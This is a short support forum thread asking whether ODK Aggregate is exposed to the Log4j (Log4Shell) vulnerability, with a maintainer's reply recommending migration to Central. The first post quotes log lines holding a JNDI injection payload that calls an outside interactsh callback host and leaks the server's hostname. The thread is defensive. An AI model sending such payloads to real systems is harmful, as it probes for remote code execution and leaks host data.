# Log4j Vulnerability in ODK Aggregate? **URL:** \ **Category:** Support\ **Tags:** odk-aggregate\ **Created:** [December 13, 2021, 10:51am UTC](https://forum.getodk.org/t/log4j-vulnerability-in-odk-aggregate/36098 "2021-12-13T10:51:26Z")\ **Posts on this page:** 4\ **Page:** 1
**Author:** ![bungle](https://getodk.b-cdn.net/letter_avatar_proxy/v4/letter/b/9fc29f/32.png) [@bungle](https://forum.getodk.org/u/bungle)\ **Post date:** [December 13, 2021, 10:51am UTC](https://forum.getodk.org/t/log4j-vulnerability-in-odk-aggregate/36098/1 "2021-12-13T10:51:26Z")
Query: Is ODK Aggregate open to the new Log4j vulnerability? If so, how to fix? Logging appears to be served by log4j-over-slf4j-1.7.25.jar in C:\Tomcat 8.5\webapps\ODKAggregate\WEB-INF\lib so log4j via Maven? I can see hacking attempts in the logs today, e.g "Invalid character found in the request target [/?x=${jndi:ldap://${hostName}.c6rf40gs3g4sr2vg71kgcg5xrpyyyyrpw.interactsh.com/a}]" "Invalid character found in the request target [/?x=${jndi:ldap://${hostName}.c6rf40gs3g4sr2vg71kgcg5xrpyyyyrpw.interactsh.com/a}]"" ---
**Author:** ![yanokwa](https://getodk.b-cdn.net/user_avatar/forum.getodk.org/yanokwa/32/1695_2.png) [@yanokwa](https://forum.getodk.org/u/yanokwa)\ **Post date:** [December 13, 2021, 3:16pm UTC](https://forum.getodk.org/t/log4j-vulnerability-in-odk-aggregate/36098/2 "2021-12-13T15:16:19Z")
Aggregate reached end-of-life status on May 2021 and is [no longer being updated](https://forum.getodk.org/t/aggregate-is-no-longer-being-updated/33742). I have taken a cursory look at Aggregate's dependencies and I do not believe it is susceptible to the recent log4j vulnerability ([CVE-2021-44228](https://www.cve.org/CVERecord?id=CVE-2021-44228)). That said, **you should not be running Aggregate because it is likely susceptible to other vulnerabilities.** I urge you to migrate to Central. Get started with the [install docs](https://docs.getodk.org/central-install). ---
**Author:** ![manghig](https://getodk.b-cdn.net/user_avatar/forum.getodk.org/manghig/32/11609_2.png) [@manghig](https://forum.getodk.org/u/manghig)\ **Post date:** [December 15, 2021, 4:10pm UTC](https://forum.getodk.org/t/log4j-vulnerability-in-odk-aggregate/36098/3 "2021-12-15T16:10:36Z")
@yanokwa thanks for checking. As a fact I checked the latest available version of Aggregate with [https://github.com/anchore/grype](https://github.com/anchore/grype) and it returned a long list of vulnerabilities (but not log4shell). But sometimes it not easy to move, I have for example a very critical survey still going with Aggregate and I can't just move to Central because there is a lot going on in the DB backend (PostgreSQL) when the data enters ODK forms tables, and I have still not found any docs that shows/explain how the data model used by Aggregate relates to the one used by Central. Is there anything out there? with regards, thanks for your work ---
**Author:** ![yanokwa](https://getodk.b-cdn.net/user_avatar/forum.getodk.org/yanokwa/32/1695_2.png) [@yanokwa](https://forum.getodk.org/u/yanokwa)\ **Post date:** [December 16, 2021, 1:04am UTC](https://forum.getodk.org/t/log4j-vulnerability-in-odk-aggregate/36098/4 "2021-12-16T01:04:02Z")
Split this topic on December 16, 2021, 1:04am UTC 2 posts were split to a new topic: [Aggregate and Central data models](https://forum.getodk.org/t/aggregate-and-central-data-models/36121)